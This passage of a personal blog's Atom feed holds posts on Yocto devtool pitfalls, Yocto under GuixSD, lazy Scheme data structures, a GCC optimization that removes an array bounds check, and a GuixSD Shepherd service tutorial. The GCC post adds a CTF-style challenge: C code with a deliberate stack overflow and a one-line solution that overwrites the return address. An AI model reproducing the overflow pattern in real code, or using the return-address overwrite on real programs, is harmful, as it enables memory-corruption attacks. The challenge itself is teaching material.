&lt;p&gt;[4]: &lt;a href=&quot;https://github.com/openembedded/bitbake/blob/master/lib/bb/fetch2/__init__.py#L904&quot;&gt;https://github.com/openembedded/bitbake/blob/master/lib/bb/fetch2/__init__.py#L904&lt;/a&gt; ‘Bitbake mirror mechanism implementation’&lt;/p&gt;</content><author><name>Nikolai Merinov</name></author><summary type="html">As a part of my work for Inango Systems I investigated BitBake support for mirrors (and even provided bugfix as one of the results of this investigation) and prepared this article.</summary></entry><entry><title type="html">Possible issues with yocto ‘devtool modify’ utility</title><link href="https://mndet.net/2017/11/07/yocto-devtool-modify-issues.html" rel="alternate" type="text/html" title="Possible issues with yocto ‘devtool modify’ utility" /><published>2017-11-07T00:00:00+00:00</published><updated>2017-11-07T00:00:00+00:00</updated><id>https://mndet.net/2017/11/07/yocto-devtool-modify-issues</id><content type="html" xml:base="https://mndet.net/2017/11/07/yocto-devtool-modify-issues.html">&lt;p&gt;This post was originally &lt;a href=&quot;https://www.linkedin.com/pulse/possible-issues-yocto-devtool-modify-utility-nikolay-merinov/&quot;&gt;published&lt;/a&gt; on linkedin.&lt;/p&gt;

&lt;p&gt;Yocto delivered with great “devtool” tool that allow to work on specific package locally. This tool allow you create patches to any recipes like this:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;devtool modify package
cd workspace/sources/package
# Edit source as you want
devtool build package
# Finish editing
git commit -am &apos;This new commit in sources will be exported as patch to yocto recipe&apos;
devtool finish package /path/to/meta-layer-with-package
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;You can find full description for “devtool modify” utility in yocto &lt;a href=&quot;http://www.yoctoproject.org/docs/latest/sdk-manual/sdk-manual.html#sdk-devtool-use-devtool-modify-to-modify-the-source-of-an-existing-component&quot;&gt;documentation&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;For recipe with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;S=&quot;${WORKDIR}/internal/subpath/for/sources&quot;&lt;/code&gt; devtool will export directory &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;${WORKDIR}/internal&quot;&lt;/code&gt; as source directory and reuse “externalsrc” mechanism to allow to build from exported sources. To track changes and generate patches devtool create “git” repository at a root of exported sources.&lt;/p&gt;

&lt;p&gt;All this mechanisms can fail because of yocto flexibility. Let’s describe a possible issues with examples based on current (yocto 2.4) &lt;a href=&quot;https://www.yoctoproject.org/tools-resources/projects/poky&quot;&gt;poky&lt;/a&gt; distro.&lt;/p&gt;

&lt;h2 id=&quot;possible-failures&quot;&gt;Possible failures:&lt;/h2&gt;

&lt;h3 id=&quot;missed-sources&quot;&gt;Missed sources&lt;/h3&gt;

&lt;p&gt;externalsrc.bbclass change “fetch” task to fetch only “file://” URI’s, while ‘devtool’ save only one subdirectory of “${WORKDIR}” as sources. As result if you fetch more that one remote URI for recipe “devtool modify” will lose part of files required for build.&lt;/p&gt;

&lt;h4 id=&quot;example&quot;&gt;Example:&lt;/h4&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;devtool modify libxml2 &amp;amp;&amp;amp; devtool build libxml2
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This command will fail to build because libxml2 fetch two tarballs, but devtool save content only from one of tarballs as a sources.&lt;/p&gt;

&lt;h3 id=&quot;lost-changes&quot;&gt;Lost changes&lt;/h3&gt;

&lt;p&gt;If you have git repository in subdirectory of “${S}” than “devtool” will lose all your changes in this subdirectory, because “devtool finish” looks only at toplevel git.&lt;/p&gt;

&lt;h4 id=&quot;example-1&quot;&gt;Example:&lt;/h4&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;devtool modify cross-localedef-native
cd workspace/sources/cross-localedef-native/localedef/
# Change files
git commit -am &apos;This changes will be lost&apos;
devtool finish cross-localedef-native /path/to/meta-layer
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;missed-patches&quot;&gt;Missed patches&lt;/h3&gt;

&lt;p&gt;devtool also can fail if you recipe patch some files fetched with “file://” fetcher. There is no such recipes in poky, but it possible to imagine next example:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;recipe.bb:
  SRC_URI = &quot;https://recipe.org/recipe.tar.gz file://additional_file&quot;
recipe.bbappend
  SRC_URI += &quot;file://patch_for_additional_file.patch;patchdir=../&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In this case after “devtool modify” you will work with original “additional_file” without patches.&lt;/p&gt;</content><author><name>Nikolai Merinov</name></author><summary type="html">This post was originally published on linkedin.</summary></entry><entry><title type="html">Yocto under GUIX</title><link href="https://mndet.net/2017/10/30/yocto-under-guix.html" rel="alternate" type="text/html" title="Yocto under GUIX" /><published>2017-10-30T00:00:00+00:00</published><updated>2017-10-30T00:00:00+00:00</updated><id>https://mndet.net/2017/10/30/yocto-under-guix</id><content type="html" xml:base="https://mndet.net/2017/10/30/yocto-under-guix.html">&lt;p&gt;Ok, I got allowance to publish my yocto patches and finally you can use yocto to build embedded linux distros under GuixSD! All required code placed at &lt;a href=&quot;https://github.com/mnd/guix-mnd-pkgs&quot;&gt;https://github.com/mnd/guix-mnd-pkgs&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;what-is-yocto&quot;&gt;What is yocto?&lt;/h2&gt;

&lt;p&gt;Yocto is set of projects to build embedded linux distros. This project based on “openembedded” project and widely used in telecommunacations and car-manafactuing.
Usage instruction&lt;/p&gt;

&lt;h2 id=&quot;fetch-my-guix-packages&quot;&gt;Fetch my guix packages&lt;/h2&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;git clone https://github.com/mnd/guix-mnd-pkgs.git
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Create environment with patched poky distro (main part of yocto project):&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;guix environment -L /path/to/guix-mnd-pkgs --ad-hoc poky --container --network --root=${PWD}/poky.env --expose=${PWD}/poky.env=/usr  --expose=/bin/sh=/bin/bash --expose=${PWD}/poky.env/bin/pwd=/bin/pwd --expose=${PWD}/poky.env/bin/ln=/bin/ln
export LC_ALL=en_US.UTF-8  # Use locale suitable for python3
source /usr/share/yocto/oe-init-build-env
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And then you can build your yocto-based distro. By default you have poky, but you can change &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;conf/bblayers.conf&lt;/code&gt; file to add new meta-layers (e.g. layer with support for raspberry-pi builds).&lt;/p&gt;

&lt;h2 id=&quot;what-was-made&quot;&gt;What was made&lt;/h2&gt;

&lt;p&gt;GUIX package for poky distro with all dependencies, package for coreutils with xattr support, package for chrpath utilities, set of pactches to openembedded-core project.&lt;/p&gt;

&lt;p&gt;Yocto patches: Support to build with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CPPFLAGS = &quot;-isystem/usr/include&quot;&lt;/code&gt;, support to build with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HOST_CC&lt;/code&gt; that contains several arguments for gcc, remove hardcoded “gcc” from openembedded-native recipes, fix for rpath’es in native perl builds, several changes to support special GuixSD environemnt (e.g. add export &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GUIX_LOCPATH&lt;/code&gt; to yocto build environments).&lt;/p&gt;</content><author><name>Nikolai Merinov</name></author><summary type="html">Ok, I got allowance to publish my yocto patches and finally you can use yocto to build embedded linux distros under GuixSD! All required code placed at https://github.com/mnd/guix-mnd-pkgs.</summary></entry><entry><title type="html">Scheme &amp;amp; Okasaki data structures</title><link href="https://mndet.net/2017/09/01/scheme-okasaki-data-structures.html" rel="alternate" type="text/html" title="Scheme &amp;amp; Okasaki data structures" /><published>2017-09-01T00:00:00+00:00</published><updated>2017-09-01T00:00:00+00:00</updated><id>https://mndet.net/2017/09/01/scheme-okasaki-data-structures</id><content type="html" xml:base="https://mndet.net/2017/09/01/scheme-okasaki-data-structures.html">&lt;p&gt;Decided to read Okasaki work on lazy data structures. He made fix for SML syntax to achieve readable code for lazy structures in strict language. Same changes for scheme you can achieve in next manner:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;(use-modules
 (srfi srfi-45) ; lazy primitives
 (ice-9 match) ; pattern matching
 (ice-9 textual-ports))

(define (read-delay chr port)
   (match (get-char port)
    (#\$ `(= force ,(read port)))
    (c (unget-char port c) `(delay ,(read port)))))
(read-hash-extend #\$ read-delay)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And thats all. To delay evaluation you can use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;#$expr&lt;/code&gt;, to match delayed structures you can write &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;(match delayed_expr [#$$match ...])&lt;/code&gt; (note: hash-dollar-dollar). And now you can write code very similay to SML code in Okasaki work:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;(define stream #$(cons 1 #$(cons 2 #$(cons 3 #$&apos;()))
(define (take-stream n s)
  #$(match (cons n s)
      [(0 . _) &apos;()]
      [(_ . #$$&apos;()) &apos;()]
      [(k . #$$(h . t)) (cons h (take (- k 1) t))]))
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;</content><author><name>Nikolai Merinov</name></author><summary type="html">Decided to read Okasaki work on lazy data structures. He made fix for SML syntax to achieve readable code for lazy structures in strict language. Same changes for scheme you can achieve in next manner:</summary></entry><entry><title type="html">GCC optimization issue</title><link href="https://mndet.net/2017/06/05/gcc-optimization-issue.html" rel="alternate" type="text/html" title="GCC optimization issue" /><published>2017-06-05T00:00:00+00:00</published><updated>2017-06-05T00:00:00+00:00</updated><id>https://mndet.net/2017/06/05/gcc-optimization-issue</id><content type="html" xml:base="https://mndet.net/2017/06/05/gcc-optimization-issue.html">&lt;p&gt;This post was written when I found bug first time. Issue can be reproduced for sure on GCC from 4.8.2 to 8.2.0.&lt;/p&gt;

&lt;h2 id=&quot;simplified-failure-code-example&quot;&gt;Simplified failure code example&lt;/h2&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ cat test.c
#include &amp;lt;stdio.h&amp;gt;
int main() {
  int i = 0, res = 0;
  int array[6] = {0,0,0,0,0,0};
  while ((array[i] != 6) &amp;amp;&amp;amp; (i &amp;lt; 6)) {
    i++;
  }
  if (i == 6) {
    res = 1;
  }

  printf (&quot;res = %d, i = %d\n&quot;, res, i);
  return 0;
}
$ gcc --version 
gcc (GCC) 8.2.0
...
$ gcc -O2 -Wall -Wextra test.c # No warnings!
$ ./a.out 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If you compile this code by itself there are good chance that you’ll got other result but on my machine there I got next result:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ ./a.out 
res = 0, i = 196
$
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;root-cause-of-issue&quot;&gt;Root cause of issue&lt;/h2&gt;

&lt;p&gt;This issue for sure happens because of some optimizations. Let’s try to found specific one that cause this issue:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ gcc -O2 -Wall -Wextra -fdump-tree-all test.c
$ cat test.c.037t.fre1 # Last optimization without issue

;; Function main (main, funcdef_no=11, decl_uid=2459, cgraph_uid=11, symbol_order=11)

main ()
{
  int array[6];
  int res;
  int i;
  int _1;

  &amp;lt;bb 2&amp;gt; :
  array[0] = 0;
  array[1] = 0;
  array[2] = 0;
  array[3] = 0;
  array[4] = 0;
  array[5] = 0;
  goto &amp;lt;bb 4&amp;gt;; [INV]

  &amp;lt;bb 3&amp;gt; :
  i_13 = i_2 + 1;

  &amp;lt;bb 4&amp;gt; :
  # i_2 = PHI &amp;lt;0(2), i_13(3)&amp;gt;
  _1 = array[i_2];
  if (_1 != 6)
    goto &amp;lt;bb 5&amp;gt;; [INV]
  else
    goto &amp;lt;bb 6&amp;gt;; [INV]

  &amp;lt;bb 5&amp;gt; :
  if (i_2 &amp;lt;= 5)
    goto &amp;lt;bb 3&amp;gt;; [INV]
  else
    goto &amp;lt;bb 6&amp;gt;; [INV]

  &amp;lt;bb 6&amp;gt; :
  if (i_2 == 6)
    goto &amp;lt;bb 7&amp;gt;; [INV]
  else
    goto &amp;lt;bb 8&amp;gt;; [INV]

  &amp;lt;bb 7&amp;gt; :

  &amp;lt;bb 8&amp;gt; :
  # res_3 = PHI &amp;lt;0(6), 1(7)&amp;gt;
  printf (&quot;res = %d, i = %d\n&quot;, res_3, i_2);
  array ={v} {CLOBBER};
  return 0;

}

$ cat test.c.038t.evrp # Optimization that introduce issue

;; Function main (main, funcdef_no=11, decl_uid=2459, cgraph_uid=11, symbol_order=11)

;; 2 loops found
;;
;; Loop 0
;;  header 0, latch 1
;;  depth 0, outer -1
;;  nodes: 0 1 2 3 4 5 6 7 8
;;
;; Loop 1
;;  header 4, latch 3
;;  depth 1, outer 0
;;  nodes: 4 3 5
;; 2 succs { 4 }
;; 3 succs { 4 }
;; 4 succs { 5 6 }
;; 5 succs { 3 6 }
;; 6 succs { 7 8 }
;; 7 succs { 8 }
;; 8 succs { 1 }

SSA replacement table
N_i -&amp;gt; { O_1 ... O_j } means that N_i replaces O_1, ..., O_j

i_4 -&amp;gt; { i_2 }
Incremental SSA update started at block: 4
Number of blocks in CFG: 9
Number of blocks to update: 5 ( 56%)



Value ranges after Early VRP:

_1: VARYING
i_2: [0, 5]
res_3: [0, 1]
i_4: [0, 5]
i_13: [1, 6]


Removing basic block 7
Removing basic block 5
Merging blocks 6 and 8
main ()
{
  int array[6];
  int res;
  int i;
  int _1;

  &amp;lt;bb 2&amp;gt; :
  array[0] = 0;
  array[1] = 0;
  array[2] = 0;
  array[3] = 0;
  array[4] = 0;
  array[5] = 0;
  goto &amp;lt;bb 4&amp;gt;; [INV]

  &amp;lt;bb 3&amp;gt; :
  i_13 = i_2 + 1;

  &amp;lt;bb 4&amp;gt; :
  # i_2 = PHI &amp;lt;0(2), i_13(3)&amp;gt;
  _1 = array[i_2];
  if (_1 != 6)
    goto &amp;lt;bb 3&amp;gt;; [INV]
  else
    goto &amp;lt;bb 5&amp;gt;; [INV]

  &amp;lt;bb 5&amp;gt; :
  # i_4 = PHI &amp;lt;i_2(4)&amp;gt;
  printf (&quot;res = %d, i = %d\n&quot;, 0, i_4);
  array ={v} {CLOBBER};
  return 0;

}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So, what we can see in this code. Optimizer know that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;array&lt;/code&gt; can be accessed by indexes from 0 to 5 and it know that accessing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;array[6]&lt;/code&gt; is undefined behavior. In basic block 4 (see at last worked code) we access &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;array[i_2]&lt;/code&gt; and as result we can assume that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0 &amp;lt;= i_2 &amp;lt;= 5&lt;/code&gt;. This means that basic block 5 has useless condition &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;if (i_2 &amp;lt;= 5)&lt;/code&gt; and whole block can be deleted.&lt;/p&gt;

&lt;p&gt;So if we look again at C code:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;  int array[6] = {0,0,0,0,0,0};
  while ((array[i] != 6) // Possible undefined behavior
         &amp;amp;&amp;amp; (i &amp;lt; 6)) {   // As result this test eliminated by Early Value Range Propogation optimization 
    i++;
  }
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And if we change order of operations than everything will work fine:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;  int array[6] = {0,0,0,0,0,0};
  while ((i &amp;lt; 6) &amp;amp;&amp;amp; (array[i] != 6)) { // Both checks still will be there after all optimizations
    i++;
  }
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;ctf-style-task-based-on-this-optimization&quot;&gt;CTF style task based on this optimization&lt;/h2&gt;

&lt;p&gt;Suppose we have application that take 3 parameters: source string, destination string, and control character. This program will find control character in source string and copy all characters prior to control character to second string:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ ./prog source destination r # copy &quot;sou&quot; over destination string
replace 3 bytes of second arg with bytes from first
you new string: soutination
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Code of this application:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#define MAX_LENGTH 16

void key() {
  printf (&quot;you got a flag\n&quot;);
}

int main(int argc, char **argv) {
  /* Initialize all variables */
  int i = 0;
  char arg1[MAX_LENGTH] = {0};
  char arg2[MAX_LENGTH] = {0};
  char match = &apos;\0&apos;; 

  if (argc != 4) return 1;

  /* Ensure that strings will be &apos;\0&apos; terminated */
  strncpy(arg1, argv[1], MAX_LENGTH-1);
  strncpy(arg2, argv[2], MAX_LENGTH-1);
  match = argv[3][0];

  /* Find prefix length up to `match&apos; but not exceed array length */
  while ((arg1[i] != match) &amp;amp;&amp;amp; (i &amp;lt; MAX_LENGTH)) {
    i++;
  }

  printf (&quot;replace %d bytes of second arg with bytes from first\n&quot;, i);
  memcpy (arg2, arg1, i);

  printf (&quot;you new string: %s\n&quot;, arg2);

  /* if there was replacement and after replacement strings are different then show key */
  if (i != 0 &amp;amp;&amp;amp; arg1[0] != arg2[0]) key();

  return 0;
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Application compiled with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gcc -O2 ./test.c -Wall -Wextra -Werror -g&lt;/code&gt; flags on x86-64 machine with GCC 8.2.0. You should force application to print “you got a flag” string.&lt;/p&gt;

&lt;p&gt;Application binary: &lt;a href=&quot;/assets/gcc-optimization-issue-ctf-like-prog&quot;&gt;gcc-optimization-issue-ctf-like-prog&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;solution&quot;&gt;Solution&lt;/h2&gt;

&lt;p&gt;As we already know test &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;i &amp;lt; MAX_LENGTH&lt;/code&gt; will be removed from optimized code. As result we provide almost any &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;i&lt;/code&gt; to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;memcpy (arg2, arg1, i);&lt;/code&gt; command. As result we can rewrite return address on a stack providing new value through &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;arg1&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ ./gcc-optimization-issue-ctf-like-prog 11112222`printf &apos;\xd0\x07\x40&apos;` nevermind 0
replace 82 bytes of second arg with bytes from first
you new string: 11112222?@
you got a flag
Segmentation fault
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;</content><author><name>Nikolai Merinov</name></author><summary type="html">This post was written when I found bug first time. Issue can be reproduced for sure on GCC from 4.8.2 to 8.2.0.</summary></entry><entry><title type="html">Add Shepherd service to GuixSD</title><link href="https://mndet.net/2016/05/04/guixsd-system-service.html" rel="alternate" type="text/html" title="Add Shepherd service to GuixSD" /><published>2016-05-04T00:00:00+00:00</published><updated>2016-05-04T00:00:00+00:00</updated><id>https://mndet.net/2016/05/04/guixsd-system-service</id><content type="html" xml:base="https://mndet.net/2016/05/04/guixsd-system-service.html">&lt;p&gt;This post must be same tutorial for GuixSD as &lt;a href=&quot;https://nixos.org/wiki/NixOS:extend_NixOS&quot;&gt;https://nixos.org/wiki/NixOS:extend_NixOS&lt;/a&gt; for NixOS.&lt;/p&gt;

&lt;p&gt;Lets create own guile modules structure:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ mkdir local-guix
$ cd local-guix
$ mkdir -p mnd/services # we will use service modules like (use-modules (mnd services service))
$ edit irssi.scm # create irssi service
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And create service that will run &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;irssi&lt;/code&gt; under &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;screen&lt;/code&gt;&lt;/p&gt;

&lt;h2 id=&quot;basic-service&quot;&gt;Basic service&lt;/h2&gt;

&lt;p&gt;Firstly define module that will export our &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;irssi-service&lt;/code&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;(define-module (mnd services irssi)
  #:use-module (gnu services)
  #:use-module (gnu services shepherd)
  #:use-module (gnu packages irc) ; irssi
  #:use-module (gnu packages screen)
  #:use-module (guix gexp)
  #:use-module (guix records)
  #:use-module (ice-9 match)
  #:export (irssi-service))
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then define config for our module&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;(define-record-type* &amp;lt;irssi-configuration&amp;gt;
  irssi-configuration make-irssi-configuration
  irssi-configuation?
  (irssi         irssi-configuration-irssi        ;&amp;lt;package&amp;gt;
                 (default irssi))
  (screen        irssi-configuration-screen       ;&amp;lt;package&amp;gt;
                 (default screen))
  (user          lirc-configuration-user)         ;string
  (group         lirc-configuration-group         ;string
                 (default &quot;users&quot;))
  (extra-options lirc-configuration-options       ;list of strings
                 (default &apos;())))
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Basicaly services extend &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;activation-service-type&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;shepherd-root-service-type&lt;/code&gt;, but our service does not require to create runtime files so we’ll extend only &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;shepherd-root-service-type&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;(define irssi-shepherd-service
  (match-lambda
    (($ &amp;lt;irssi-configuration&amp;gt; irssi screen user group options)
        (list (shepherd-service
               (provision &apos;(irssi))
               (documentation &quot;Run the irssi client in screen.&quot;)
               (requirement &apos;(user-processes))
               (start #~((make-forkexec-constructor
                          (list 
                           (string-append #$screen &quot;/bin/screen&quot;)
                           &quot;-D&quot; &quot;-m&quot; &quot;-S&quot; &quot;irc&quot;
                           (string-append #$irssi &quot;/bin/irssi&quot;)
                           #$@options))))
               (stop #~(make-kill-destructor)))))))
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;For now we ignore  user and group options and just call &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;irssi&lt;/code&gt; inside &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;screen&lt;/code&gt;. This service will run irssi from root user.&lt;/p&gt;

&lt;p&gt;Now we can define &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;irssi-service-type&lt;/code&gt; that provides service with name &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;irssi&lt;/code&gt; and extend &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;shepherd-root-service-type&lt;/code&gt; with defined code.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;(define irssi-service-type
  (service-type (name &apos;irssi)
                (extensions
                 (list (service-extension shepherd-root-service-type
                                          irssi-shepherd-service)))))
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And finally define function that will create our &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;service&amp;gt;&lt;/code&gt; object:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;(define* (irssi-service #:key (irssi irssi)
                        (screen screen)
                        user
                        (group &quot;users&quot;)
                        (extra-options &apos;()))
  &quot;irssi service for specific user&quot; 
  (service irssi-service-type
           (irssi-configuration
            (irssi irssi) (screen screen)
            (user user) (group group)
            (extra-options extra-options))))
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;run-this-service&quot;&gt;Run this service&lt;/h2&gt;

&lt;p&gt;To add service to you system you must modify you system configuration file in next manner.&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Add &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;(use-modules (mnd services irssi))&lt;/code&gt; to beginning of the file&lt;/li&gt;
  &lt;li&gt;Add &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;(irssi-service #:user &quot;alice&quot;)&lt;/code&gt; to list of services&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;And now you can add you new service to system with&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ su # log in as root
$ guix system -L /path/to/local-guix reconfigure /path/to/your-system-config.scm
...
making &apos;/gnu/store/3j7wfbyhfs4pzrgdq6p8fnj4msyv01zc-system&apos; the current system...
guix system: loading new services: irssi...
guix system: shepherd: Evaluating user expression (register-services (primitive-load &quot;/gnu/s...&quot;)).
guix system: shepherd: Service irssi has been started.

Installation finished. No error reported.
$ herd status irssi
Status of irssi:
  It is started.
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;add-support-for-specific-user&quot;&gt;Add support for specific user&lt;/h2&gt;

&lt;p&gt;You can look at code that support specific user at &lt;a href=&quot;https://github.com/mnd/guix-mnd-pkgs/blob/master/mnd/services/irssi.scm&quot;&gt;github&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;debugging&quot;&gt;Debugging&lt;/h2&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Guix&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;shepherd&lt;/code&gt; not very specific with errors. If something goes wrong you can try to load your module with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;guile&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ guile -L /path/to/local-guix -L ${HOME}/.config/guix/latest/
scheme@(guile-user)&amp;gt; (use-modules (mnd services irssi))
